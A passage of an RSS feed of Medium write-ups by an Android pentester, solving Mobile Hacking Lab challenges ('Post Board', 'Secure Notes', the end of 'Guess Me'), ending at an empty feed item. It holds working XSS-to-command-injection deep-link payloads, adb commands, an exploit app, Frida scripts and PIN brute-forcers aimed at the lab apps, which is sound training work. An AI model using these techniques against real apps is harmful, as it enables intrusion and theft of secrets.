log(&#39;[!] Activity.startActivity failed: &#39; + e);<br>            }<br>          },<br>          onComplete: function () {}<br>        });<br>      } catch (chooseErr) {<br>        log(&#39;[!] Java.choose threw: &#39; + chooseErr);<br>      }<br><br>      // Fallback: use application context<br>      if (!started) {<br>        try {<br>          var ActivityThread = Java.use(&#39;android.app.ActivityThread&#39;);<br>          var app = ActivityThread.currentApplication();<br>          if (app !== null) {<br>            var ctx = app.getApplicationContext();<br>            log(&#39;[*] Falling back to application context to start activity&#39;);<br>            ctx.startActivity(intent);<br>            log(&#39;[+] Started explicit intent via application context&#39;);<br>            started = true;<br>          } else {<br>            log(&#39;[!] ActivityThread.currentApplication() returned null&#39;);<br>          }<br>        } catch (ctxErr) {<br>          log(&#39;[!] Fallback start failed: &#39; + ctxErr);<br>        }<br>      }<br><br>      if (!started) {<br>        log(&#39;[!] Failed to start explicit intent. Ensure target app is installed and activity is exported.&#39;);<br>      }<br>    } catch (err) {<br>      log(&#39;[FATAL] &#39; + err + &#39; / &#39; + (err.stack || &#39;no stack&#39;));<br>    }<br>  });<br>});</pre><p>I ran Frida with the command below to capture the command-injection output.</p><pre>frida -U -f com.mobilehackinglab.guessme -l script.js --no-pause</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*adzKNUNFUuptwwWiGKZicQ.png" /><figcaption>Frida Script POC</figcaption></figure><p>Finally, I’ve completed the write-up for the <strong>Guess Me</strong> challenge, documenting how its deep-link handling and WebView JavaScript bridge can lead to command execution. Hope you find it insightful!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*A-snsv4SsqLIYlHq.gif" /><figcaption>The End</figcaption></figure><h4>Contact</h4><p><a href="https://www.facebook.com/profile.php?id=100010037113681&amp;mibextid=ZbWKwL"><strong>Facebook </strong></a><strong>| </strong><a href="https://www.linkedin.com/in/Anas0x1/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=689090b30d5b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mobile Hacking Lab - Post Board]]></title>
            <link>https://anas0x1.medium.com/mobile-hacking-lab-post-board-0c78b62a2989?source=rss-905b5344dc81------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c78b62a2989</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Anas Ibrahim]]></dc:creator>
            <pubDate>Fri, 14 Nov 2025 18:44:28 GMT</pubDate>
            <atom:updated>2025-11-14T18:44:28.903Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQBRReCpM-HiBs_ifyPeMQ.png" /><figcaption>Certificate of Completion</figcaption></figure><p>بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَىٰ رَسُولِ اللَّهِ</p><p><strong>We Stand with Palestine and don’t recognize a country called Israel.</strong></p><blockquote><strong>Hi everyone, I’m Anas Ibrahim (Anas0x1) — a Junior Penetration Tester<em>.</em></strong></blockquote><h3>Description</h3><p>This challenge revolves around a fictitious Post Board app, highlighting a critical vulnerability in its WebView and deep-link handling that allows attacker-supplied content to trigger XSS and potentially lead to RCE within the app’s context.</p><p>I opened the manifest file and noticed these permissions:</p><pre>&lt;uses-permission android:name=&quot;android.permission.INTERNET&quot;/&gt;<br>&lt;permission<br>  android:name=&quot;com.mobilehackinglab.postboard.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;<br>  android:protectionLevel=&quot;signature&quot;/&gt;<br>&lt;uses-permission android:name=&quot;com.mobilehackinglab.postboard.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;/&gt;</pre><ul><li><strong>INTERNET</strong>: Allows the application to access the internet.</li><li><strong>DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION</strong>: A custom signature-level permission, indicating components protected by this can only be accessed by apps signed with the same certificate.</li></ul><h3>Static Analysis</h3><p>I reviewed the app’s static files and code to identify attack surface and entry points for the WebView. The most relevant artifacts are the manifest and the WebviewActivity code that registers a JavaScript bridge.</p><h4>AndroidManifest.xml</h4><p>While inspecting AndroidManifest.xml, I found a single exported activity of interest: MainActivity. The manifest also contains an intent filter that enables deep links for the postboard scheme and the postmessage host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QHWw7RtF-BSo-eXVnK39eg.png" /><figcaption>AndroidManifest.xml Activtiy List</figcaption></figure><h4>MainActivity</h4><p>Opening the app revealed MainActivity, which implements the edit text, a button to post messages, and a button to clear messages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*3vmKwM5DOxb80Rt7w_OoSw.png" /><figcaption>MainActivity UI</figcaption></figure><p>While reversing MainActivity I observed two important methods:</p><ul><li>setupWebView(WebView): Enables JavaScript, sets a WebChromeClient, registers a Java bridge under the global name WebAppInterface, and loads the local page file:///android_asset/index.html.</li><li>handleIntent(): Handles android.intent.action.VIEW deep links with the scheme/host postboard://postmessage, It reads the URI path (drops the leading /), decodes it with URL-safe Base64, then replaces single quotes (&#39;) with \&#39; and injects the result into the WebView by calling:<br> webView.loadUrl(&quot;javascript:WebAppInterface.postMarkdownMessage(&#39;&lt;decoded&gt;&#39;)&quot;).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Msa1_YYlYaMPpgJQQaCAKA.png" /><figcaption>MainActivity Source Code</figcaption></figure><h4>WebViewInterface</h4><p>While reversing WebViewInterface, I found a postCowsayMessage method exposed to JavaScript that turns a string into cowsay ASCII art and safely stores it. It receives a String from JS, calls CowsayUtil.runCowsay() to produce ASCII art, HTML-escapes special characters (&amp; &lt; &gt; &quot; &#39;), converts newlines to &lt;br&gt;, wraps the result in &lt;pre&gt; and adds it to the app message cache.</p><pre>@JavascriptInterface<br>public final void postCowsayMessage(String cowsayMessage) throws InterruptedException, IOException {<br>  Intrinsics.checkNotNullParameter(cowsayMessage, &quot;cowsayMessage&quot;);<br>  String asciiArt = CowsayUtil.INSTANCE.runCowsay(cowsayMessage);<br>  String html = StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(asciiArt, &quot;&amp;&quot;, &quot;&amp;amp;&quot;, false, 4, (Object) null), &quot;&lt;&quot;, &quot;&amp;lt;&quot;, false, 4, (Object) null), &quot;&gt;&quot;, &quot;&amp;gt;&quot;, false, 4, (Object) null), &quot;\&quot;&quot;, &quot;&amp;quot;&quot;, false, 4, (Object) null), &quot;&#39;&quot;, &quot;&amp;#039;&quot;, false, 4, (Object) null);<br>  this.cache.addMessage(&quot;&lt;pre&gt;&quot; + StringsKt.replace$default(html, &quot;\n&quot;, &quot;&lt;br&gt;&quot;, false, 4, (Object) null) + &quot;&lt;/pre&gt;&quot;);<br>}</pre><h4>CowsayUtil</h4><p>While reversing runCowsaymethod, I found it builds a shell command by concatenating CowsayUtil.scriptPath + &#39; &#39; + message and executes it with Runtime.getRuntime().exec(new String[]{&quot;/bin/sh&quot;,&quot;-c&quot;, command}). It reads the process stdout into a String and returns the cowsay ASCII output; on error it prints the stack and returns &quot;cowsay: &quot; + e.getMessage().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OA4SctNqvU0tsex1RXl1ug.png" /><figcaption>CowsayUtil</figcaption></figure><p>This means that if I start the WebView using the deep link postboard://postmessage/&lt;BASE64&gt; and the app calls WebAppInterface.postCowsayMessage with the decoded value which in turn invokes the vulnerable runCowsay it can lead to RCE.</p><h3>First Solution (ADB)</h3><p>The first thing I tried was to Base64-encode an XSS payload and trigger it by starting the app with the deep link postboard://postmessage/&lt;BASE64&gt; using adb</p><pre>Payload: &lt;img src=x onerror=alert(1337)&gt;<br>Base64-Encode: PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEzMzcpPg==</pre><pre>adb shell am start -n &quot;com.mobilehackinglab.postboard/.MainActivity&quot; -a &quot;android.intent.action.VIEW&quot; -d &quot;postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEzMzcpPg==&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pi8TAcA65I1ns5YBOD3JFg.png" /><figcaption>XSS</figcaption></figure><p>To achieve RCE, I invoked the injected JavaScript bridge (WebAppInterface) from the WebView and called postCowsayMessage; that method calls runCowsay, which builds and executes a shell command with the supplied input.</p><pre>Payload: &lt;img src=x onerror=&quot;WebAppInterface.postCowsayMessage(&#39;Anas0x1;id;whoami;hostname&#39;)&quot;&gt;<br>Base64-Encode: PGltZyBzcmM9eCBvbmVycm9yPSJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ0FuYXMweDE7aWQ7d2hvYW1pO2hvc3RuYW1lJykiPg==</pre><pre>adb shell am start -n &quot;com.mobilehackinglab.postboard/.MainActivity&quot; -a &quot;android.intent.action.VIEW&quot; -d &quot;postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPSJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ0FuYXMweDE7aWQ7d2hvYW1pO2hvc3RuYW1lJykiPg==&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ys4exmnDE0VgLgWtf0T6yg.png" /><figcaption>Command Worked but didn’t executed</figcaption></figure><p>After clicking <strong>Post Message</strong> in the UI, the RCE was executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*RmnFC2SPdH4k_WpNMYJC8Q.png" /><figcaption>RCE POC</figcaption></figure><h3>Second Solution (Exploit App)</h3><p>I created a small Android app which, when its button is tapped, builds the vulnerable deep-link URI and explicitly starts com.mobilehackinglab.guessme/.WebviewActivity to demonstrate the injection.</p><pre>Button btnExploit = findViewById(R.id.exploit_btn);<br>btnExploit.setOnClickListener(new View.OnClickListener() {<br>  @Override<br>  public void onClick(View view) {<br>    try {<br>      Intent intent = new Intent(Intent.ACTION_VIEW);<br>      // Explicitly target the component: com.mobilehackinglab.postboard/.MainActivity<br>      intent.setComponent(new ComponentName(<br>        &quot;com.mobilehackinglab.postboard&quot;,<br>        &quot;com.mobilehackinglab.postboard.MainActivity&quot;<br>      ));<br>// Note: &#39;var&#39; is available from Java 10+. Android development typically uses specific types for compatibility.<br>      String htmlPayload = &quot;&lt;img src=x onerror=\&quot;WebAppInterface.postCowsayMessage(&#39;Anas0x1;id;whoami&#39;)\&quot;&gt;&quot;;<br>      String b64Payload = Base64.getEncoder().encodeToString(htmlPayload.getBytes(StandardCharsets.UTF_8));<br>      // Correctly concatenate the b64Payload variable to the URI string<br>      intent.setData(Uri.parse(&quot;postboard://postmessage/&quot; + b64Payload));<br>      Log.d(TAG, &quot;Attempting to start activity with URI: &quot; + intent.getDataString());<br>      startActivity(intent);<br>    } catch (ActivityNotFoundException e) {<br>      Log.e(TAG, &quot;Target activity not found&quot;, e);<br>      Toast.makeText(MainActivity.this, &quot;Target app (com.mobilehackinglab.postboard) is not installed.&quot;, Toast.LENGTH_LONG).show();<br>    } catch (Exception e) {<br>      Log.e(TAG, &quot;An unexpected error occurred&quot;, e);<br>      Toast.makeText(MainActivity.this, &quot;An error occurred: &quot; + e.getMessage(), Toast.LENGTH_LONG).show();<br>    }<br>  }<br>});</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*xg0bZq_GfeQpcWQGaNLtHg.png" /><figcaption>Exploit App</figcaption></figure><p>After launching the exploit app and tapping the button then clicking on the Post Message button in the UI, the target activity displayed the output of the id&amp; whoamishell commands instead of the expected current time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*ACX_lh86juBbVI6eeOHvtQ.png" /><figcaption>POC</figcaption></figure><h3>Third Solution (Frida)</h3><p>I wrote a frida script start the target WebviewActivity with a crafted mhl:// deep-link from inside the target app process, so the activity processes the injected url parameter. Run with Frida to capture any command-injection output in the Frida console.</p><pre>// postboard_exploit.js<br>setImmediate(function () {<br>  Java.perform(function () {<br>    var log = function (s) { console.log(s); };<br>// --- Configuration (edit these if you want) ---<br>    var deepLink = &quot;postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPSJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ0FuYXMweDE7aWQ7d2hvYW1pO2hvc3RuYW1lJykiPg==&quot;;<br>    var targetPkg = &quot;com.mobilehackinglab.postboard&quot;;<br>    var targetCls = &quot;com.mobilehackinglab.postboard.MainActivity&quot;;<br>    // --- End configuration ---<br>    try {<br>      var Intent = Java.use(&#39;android.content.Intent&#39;);<br>      var Uri = Java.use(&#39;android.net.Uri&#39;);<br>      var ComponentName = Java.use(&#39;android.content.ComponentName&#39;);<br>      var ActivityThread = Java.use(&#39;android.app.ActivityThread&#39;);<br>      // Build Intent<br>      var intent = Intent.$new();<br>      intent.setAction(&quot;android.intent.action.VIEW&quot;);<br>      // setData expects an android.net.Uri<br>      var uri = Uri.parse(deepLink);<br>      intent.setData(uri);<br>      // Use explicit component to ensure MainActivity handles the intent<br>      try {<br>        var comp = ComponentName.$new(targetPkg, targetCls);<br>        intent.setComponent(comp);<br>      } catch (compErr) {<br>        log(&quot;[!] Failed to set explicit component: &quot; + compErr);<br>      }<br>      // FLAG_ACTIVITY_NEW_TASK so we can start from non-Activity context<br>      var FLAG_ACTIVITY_NEW_TASK = 0x10000000;<br>      intent.addFlags(FLAG_ACTIVITY_NEW_TASK);<br>      log(&#39;[*] Prepared Intent:&#39;);<br>      log(&#39;    action: &#39; + intent.getAction());<br>      log(&#39;    data:   &#39; + deepLink);<br>      log(&#39;    component: &#39; + targetPkg + &#39;/&#39; + targetCls);<br>      // Start via application context (safe fallback)<br>      var app = ActivityThread.currentApplication();<br>      if (app !== null) {<br>        try {<br>          var ctx = app.getApplicationContext();<br>          ctx.startActivity(intent);<br>          log(&#39;[+] Intent started via application context.&#39;);<br>        } catch (startErr) {<br>          log(&#39;[!] Failed to start via application context: &#39; + startErr);<br>        }<br>      } else {<br>        log(&#39;[!] currentApplication() returned null; attempting to use ActivityThread to get top activity.&#39;);<br>        try {<br>          // Try to obtain the top Activity (best-effort)<br>          var at = ActivityThread.currentActivityThread();<br>          var mActivities = at.mActivities.value; // may vary by Android/Frida; best-effort only<br>          log(&#39;[*] Attempted ActivityThread fallback (may not work on all Android versions).&#39;);<br>        } catch (e) {<br>          log(&#39;[!] ActivityThread fallback failed: &#39; + e);<br>        }<br>      }<br>    } catch (err) {<br>      log(&#39;[FATAL] &#39; + err + (err.stack ? &#39;\n&#39; + err.stack : &#39;&#39;));<br>    }<br>  });<br>});</pre><p>I ran Frida with the command below to capture the command-injection output.</p><pre>frida -U -f com.mobilehackinglab.postboard -l script.js --no-pause</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kI2lhjcUbRsRO9H-lx7iNQ.png" /><figcaption>Frida Script POC</figcaption></figure><p>Finally, I have completed the <strong>Post Board</strong> write-up, documenting how the app’s deep-link handling and WebView JavaScript bridge can be abused to achieve command execution. Hope you find it insightful!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*A-snsv4SsqLIYlHq.gif" /><figcaption>The End</figcaption></figure><h4>Contact</h4><p><a href="https://www.facebook.com/profile.php?id=100010037113681&amp;mibextid=ZbWKwL"><strong>Facebook </strong></a><strong>| </strong><a href="https://www.linkedin.com/in/Anas0x1/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c78b62a2989" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mobile Hacking Lab - Secure Notes]]></title>
            <link>https://anas0x1.medium.com/mobile-hacking-lab-secure-notes-f6f52d958b09?source=rss-905b5344dc81------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6f52d958b09</guid>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <dc:creator><![CDATA[Anas Ibrahim]]></dc:creator>
            <pubDate>Thu, 13 Nov 2025 17:25:11 GMT</pubDate>
            <atom:updated>2025-11-13T17:25:11.036Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B9uE0KPtbbQlYt1h_oR__w.png" /><figcaption>Certificate of Completion</figcaption></figure><p>بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَىٰ رَسُولِ اللَّهِ</p><p><strong>We Stand with Palestine and don’t recognize a country called Israel.</strong></p><blockquote><strong>Hi everyone, I’m Anas Ibrahim (Anas0x1) - a Junior Penetration Tester<em>.</em></strong></blockquote><h3>Description</h3><p><strong>This challenge</strong> revolves around a fictitious <em>Secure Notes</em> Android app. The app exposes a Content Provider that returns an encrypted secret when queried with the correct 4-digit PIN. By statically analyzing the app and extracting its crypto parameters from assets/config.properties, the PIN can be brute-forced offline (10,000 possibilities), making the provider effectively vulnerable.</p><p>While inspecting AndroidManifest.xml I found the following Permissions:</p><pre>&lt;permission<br>  android:name=&quot;com.mobilehackinglab.securenotes.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;<br>  android:protectionLevel=&quot;signature&quot;/&gt;<br>&lt;uses-permission android:name=&quot;com.mobilehackinglab.securenotes.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;/&gt;</pre><ul><li><strong>DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION</strong>: A custom signature-level permission, indicating components protected by this can only be accessed by apps signed with the same certificate.</li></ul><h3>Static Analysis</h3><ul><li>AndroidManifest.xml: to identify exported components and permissions.</li><li>MainActivity: to observe how the app queries the provider and displays results.</li><li>SecretDataProvider: to understand how the provider validates input, derives the key and decrypts the secret.</li><li>assets/config.properties: where the encrypted secret and crypto parameters are stored.</li></ul><h4>AndroidManifest.xml</h4><p>Found an exported launcher activity (MainActivity) and an exported Content Provider com.mobilehackinglab.securenotes.SecretDataProvider with authority com.mobilehackinglab.securenotes.secretprovider.<br>The authority defines the content-URI namespace (content://...) because it’s exposed and predictable, attackers can craft queries (via adb or a malicious app) to probe or read the provider if access controls are missing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ACYBidzP0H48d-qszZPHoA.png" /><figcaption>AndroidManifest.xml</figcaption></figure><h4>MainActivity</h4><p>Opening the app revealed MainActivity, which contains an EditText for the PIN and a button that checks the entered PIN. If the PIN is correct the app displays the flag; otherwise it shows [ERROR: Incorrect PIN].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*vF9F-22xDhxXG_r5nSTddw.png" /><figcaption>MainActivity UI</figcaption></figure><p>While analyzing MainActivity, I observed that the app stores the user-entered PIN as a string and calls querySecretProvider(), which directly queries the exported Content Provider at content://com.mobilehackinglab.securenotes.secretprovider using pin= to validate the input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3fTrZJwmrws9ods_7HpwNA.png" /><figcaption>MainActivity Source Code</figcaption></figure><h4>SecretDataProvider</h4><p>During analysis of the SecretDataProvider, I discovered that it initializes by loading the config.properties file from the app’s assets directory.</p><p>Within the onCreate() method, the provider reads the configuration file and extracts critical fields: encryptedSecret, salt, iv, and iterationCount. These parameters are essential for deriving the decryption key and unlocking the stored secret.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lt7Sv2jPK57z9Z5kzJTchA.png" /><figcaption>onCreate()</figcaption></figure><h4><strong>config.properties</strong></h4><p>The config.properties file contains all encryption artifacts required to reconstruct the secret. The presence of these hardcoded values indicates that the app relies solely on the user-entered PIN to derive the decryption key, making the content provider susceptible to brute-force attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6pyYmrzwNN1h1kTazfol3Q.png" /><figcaption>config file</figcaption></figure><h4><strong>decryptSecret()</strong></h4><p>The decryptSecret() method decrypts the stored Base64-encoded secret using the key derived from the user PIN. This confirms that gaining access to the correct PIN directly reveals the protected flag or secret.</p><h4>generateKeyFromPin()</h4><p>Upon reviewing generateKeyFromPin(), I identified that it uses the provided PIN along with the defined salt and iteration count to generate a cryptographic key via PBKDF2. This implementation ties the strength of the encryption entirely to the PIN’s complexity, further justifying the feasibility of brute-forcing weak PINs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V4Vjykjjej746WEGDch1Og.png" /><figcaption>decryptSecret()</figcaption></figure><h3>First Solution (ADB)</h3><p>I implemented an offline brute-force that uses the Base64 values from config.properties (encryptedSecret, salt, iv, iterationCount) to try every 4-digit PIN (0000–9999); for each PIN it derives a 256-bit key with PBKDF2-HMAC-SHA1 and attempts AES-CBC decryption, when decryption yields valid plaintext the script prints the secret and PIN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tZUq02s191MWfqPFpq7Maw.png" /><figcaption>Python script</figcaption></figure><p>I queried the Content Provider via adb using the valid PIN.</p><pre>adb shell content query --uri content://com.mobilehackinglab.securenotes.secretprovider --where &quot;pin=2580&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rsNDTJGtQVjqoazR-TdqpA.png" /><figcaption>Access the flag using adb</figcaption></figure><p>The second method uses a PowerShell script to brute-force the 4-digit PIN from 0000 to 9999.</p><pre>for ($i = 0; $i -le 9999; $i++) {<br>    $pin = $i.ToString(&quot;D4&quot;)<br>    $out = &amp; adb shell content query --uri content://com.mobilehackinglab.securenotes.secretprovider --where &quot;pin=$pin&quot; 2&gt;$null<br>    if ($out -and $out -match &quot;Secret&quot;) {<br>        Write-Host &quot;FOUND PIN: $pin&quot;<br>        Write-Host $out<br>        break<br>    }<br>}<br>Write-Host &quot;Done.&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rzjzbrplnF3SXM7Ime2FGQ.png" /><figcaption>Access the flag using powershell script</figcaption></figure><h3>Second Solution (Exploit App)</h3><p>I created a small Android app that, when its button is tapped, launches a brute-forcer which tries every 4-digit PIN and logs the recovered flag.</p><pre>package com.pentest.exploitapp;<br><br>import android.database.Cursor;<br>import android.net.Uri;<br>import android.os.Bundle;<br>import android.util.Log;<br>import android.view.View;<br>import android.widget.Button;<br><br><br>import androidx.appcompat.app.AppCompatActivity;<br><br>import com.pentest.exploitapp.R;<br><br><br>public class MainActivity extends AppCompatActivity {<br><br>    @Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_main);<br><br>        Button btn_exploit = (Button) findViewById(R.id.exploit_btn);<br><br><br>        //Exploit!<br>        btn_exploit.setOnClickListener(new View.OnClickListener() {<br>            @Override<br>            public void onClick(View v) {<br>                Log.i(&quot;ExploitBtn&quot;, &quot;Exploit Button Clicked!&quot;);<br>                badQuery();<br>            }<br>        });<br><br>    }<br><br>    //Content Resolver to query target&#39;s Provider<br>    public void badQuery(){<br>        Uri uri =Uri.parse(&quot;content://com.mobilehackinglab.securenotes.secretprovider&quot;);<br><br>        //Brute Force PIN<br>        for (int i=0; i&lt;10000; i++) {<br>            String PIN = String.format(&quot;%04d&quot;, i);<br>            try {<br>                Cursor cursor = getContentResolver().query(<br>                        uri, null, &quot;pin=&quot; + PIN, null, null<br>                );<br><br>                if (cursor.moveToFirst()) {<br>                    do {<br>                        String secret = cursor.getString(cursor.getColumnIndexOrThrow(&quot;Secret&quot;));<br>                        Log.i(&quot;PIN&quot;, PIN + &quot;-&quot; + secret);<br>                    } while (cursor.moveToNext());<br>                }<br>            } catch (Exception e){<br>            }<br><br>        }<br>    }<br>}</pre><p>After launching the exploit app, the brute-forcer successfully recovered the flag and printed it to the logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TKMiMm0Ii3EThm7J-lj2ag.png" /><figcaption>POC</figcaption></figure><h3>Third Solution (Frida)</h3><p>I wrote a Frida script that starts the target SecretDataProvider and brute-forces the 4-digit PIN by querying content://com.mobilehackinglab.securenotes.secretprovider; when the provider returns a Secret column the script prints the PIN and secret to the console.</p><pre>// frida_bruteforce.js<br>Java.perform(function () {<br>    var ActivityThread = Java.use(&#39;android.app.ActivityThread&#39;);<br>    var Uri = Java.use(&#39;android.net.Uri&#39;);<br>    var found = false;<br><br>    function startBrute(app) {<br>        try {<br>            var contentResolver = app.getContentResolver();<br>            var uri = Uri.parse(&quot;content://com.mobilehackinglab.securenotes.secretprovider&quot;);<br><br>            console.log(&quot;[*] Starting brute force against provider...&quot;);<br><br>            for (var i = 0; i &lt;= 9999 &amp;&amp; !found; i++) {<br>                var pin = (&quot;0000&quot; + i).slice(-4);<br>                try {<br>                    // query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder)<br>                    var cursor = contentResolver.query(uri, null, &quot;pin=&quot; + pin, null, null);<br>                    if (cursor !== null) {<br>                        try {<br>                            // moveToFirst() returns boolean<br>                            if (cursor.moveToFirst()) {<br>                                // find index of &quot;Secret&quot; column (safer than getString(0))<br>                                var idx = cursor.getColumnIndex(&quot;Secret&quot;);<br>                                var secret = null;<br>                                if (idx &gt;= 0) {<br>                                    secret = cursor.getString(idx);<br>                                } else {<br>                                    // fallback: try first column<br>                                    secret = cursor.getString(0);<br>                                }<br><br>                                if (secret !== null) {<br>                                    console.log(&quot;\n✅ PIN Found: &quot; + pin);<br>                                    console.log(&quot;🔐 Secret: &quot; + secret + &quot;\n&quot;);<br>                                    found = true;<br>                                    try { cursor.close(); } catch (e) {}<br>                                    break;<br>                                }<br>                            }<br>                        } finally {<br>                            try { cursor.close(); } catch (e) {}<br>                        }<br>                    }<br>                } catch (innerErr) {<br>                    // ignore per-pin errors, but optionally log occasionally<br>                    // console.error(&quot;query error for pin &quot; + pin + &quot;: &quot; + innerErr);<br>                }<br>                if (i % 500 === 0) {<br>                    console.log(&quot;Tried: &quot; + pin + &quot;...&quot;);<br>                }<br>            }<br><br>            if (!found) {<br>                console.log(&quot;[*] Brute-force completed, no PIN found (unexpected).&quot;);<br>            }<br>        } catch (err) {<br>            console.error(&quot;Fatal error in startBrute: &quot; + err);<br>        }<br>    }<br><br>    // Poll for Application object if not ready<br>    var app = ActivityThread.currentApplication();<br>    if (app !== null) {<br>        startBrute(app);<br>    } else {<br>        console.log(&quot;[*] Application is null, polling for it...&quot;);<br>        var intervalId = setInterval(function () {<br>            try {<br>                Java.perform(function () {<br>                    var at = Java.use(&#39;android.app.ActivityThread&#39;);<br>                    var appNow = at.currentApplication();<br>                    if (appNow !== null) {<br>                        clearInterval(intervalId);<br>                        console.log(&quot;[*] Detected Application object, starting brute force.&quot;);<br>                        startBrute(appNow);<br>                    }<br>                });<br>            } catch (e) {<br>                // ignore transient errors<br>            }<br>        }, 100);<br>    }<br>});</pre><p>I used Frida with the following command to brute-force the Secure Notes Content Provider and capture its output.</p><pre>rida -U -f com.mobilehackinglab.securenotes -l script.js --no-pause</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qKF0k5pmXtjcQW2LBBf08w.png" /><figcaption>Frida Script POC</figcaption></figure><p>Finally, I have completed the <strong>Secure Notes </strong>write-up, documenting how the app’s exported ContentProvider and insecure client-side key management can be abused to recover the secret (offline brute-force and in-app querying). Hope you find it insightful!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*A-snsv4SsqLIYlHq.gif" /><figcaption>The End</figcaption></figure><h4>Contact</h4><p><a href="https://www.facebook.com/profile.php?id=100010037113681&amp;mibextid=ZbWKwL"><strong>Facebook </strong></a><strong>| </strong><a href="https://www.linkedin.com/in/Anas0x1/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6f52d958b09" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mobile Hacking Lab - IOT Connect]]></title>
            <link>https://anas0x1.medium.com/mobile-hacking-lab-iot-connect-af3a425ec8a6?source=rss-905b5344dc81------2</link>
            <guid isPermaLink="false">https://medium.com/p/af3a425ec8a6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <dc:creator><![CDATA[Anas Ibrahim]]></dc:creator>
            <pubDate>Thu, 13 Nov 2025 17:19:18 GMT</pubDate>
            <atom:updated>2025-11-13T17:19:18.602Z</atom:updated>
